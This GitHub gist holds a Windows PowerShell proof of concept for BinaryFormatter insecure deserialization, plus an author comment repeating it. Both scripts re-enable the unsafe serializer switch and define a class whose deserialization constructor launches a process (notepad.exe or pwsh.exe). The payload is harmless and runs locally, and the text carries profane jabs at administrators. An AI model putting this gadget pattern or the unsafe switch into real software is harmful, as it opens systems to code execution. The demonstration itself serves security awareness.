Skip to content

Instantly share code, notes, and snippets.

@Calvindd2f

Calvindd2f/BinaryFormatter_PoC_winpowershell.ps1

Last active December 10, 2025 20:12
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Calvindd2f/ab09eacf6ecc10617f401834b1674d1d to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Calvindd2f/ab09eacf6ecc10617f401834b1674d1d to your computer and use it in GitHub Desktop.
Download ZIP
Windows PowerShell Insecure deserialization. PowerShell Core has not been affected since ¬7.2.X . It's insecure deserialization because someone fat shamed it on the bus
Raw
BinaryFormatter_PoC_winpowershell.ps1
# BinaryFormatter back with vengence (it never left) because System Admins are too lazy to use PS Core. 'muh ISE' - die in a hole
[System.AppContext]::SetSwitch('Switch.System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization', $true) # Final working version.
Add-Type @'
using System;
using System.Runtime.Serialization;
using System.Diagnostics;
[Serializable]
public class MaliciousPayload : ISerializable {
public MaliciousPayload() { }
protected MaliciousPayload(SerializationInfo info, StreamingContext context) {
Process.Start("notepad.exe");
}
public void GetObjectData(SerializationInfo info, StreamingContext context) {
info.SetType(typeof(MaliciousPayload));
}
}
'@
$payload = [MaliciousPayload]::new()
$bf = [System.Runtime.Serialization.Formatters.Binary.BinaryFormatter]::new()
$stream = [System.IO.MemoryStream]::new()
$bf.Serialize($stream, $payload)
$stream.Position = 0
Write-Host "Deserializing malicious payload..."
$bf.Deserialize($stream) # This will launch notepad.exe
Write-Host "Code executed during deserialization"
Write-Host "POWERSHELL CORE ISN'T THE CLOT SHOT MANDATE - JUST FUCKING DO IT AND STOP BEING A BITCH"
@Calvindd2f
Copy link
Author

Calvindd2f commented Dec 10, 2025 

[System.AppContext]::SetSwitch('Switch.System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization', $true)
Add-Type @'
using System;
using System.Runtime.Serialization;
using System.Diagnostics;
[Serializable]
public class Heroin : ISerializable {
    public Heroin() { }
    protected Heroin(SerializationInfo info, StreamingContext context) {
        Process.Start("pwsh.exe");
    }
    public void GetObjectData(SerializationInfo info, StreamingContext context) {
        info.SetType(typeof(Heroin));
    }
}
'@
$payload = [Heroin]::new()
$bf = [System.Runtime.Serialization.Formatters.Binary.BinaryFormatter]::new()
$stream = [System.IO.MemoryStream]::new()
$bf.Serialize($stream, $payload)
$stream.Position = 0
Write-Host "Where the fuck I am..."
$bf.Deserialize($stream)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment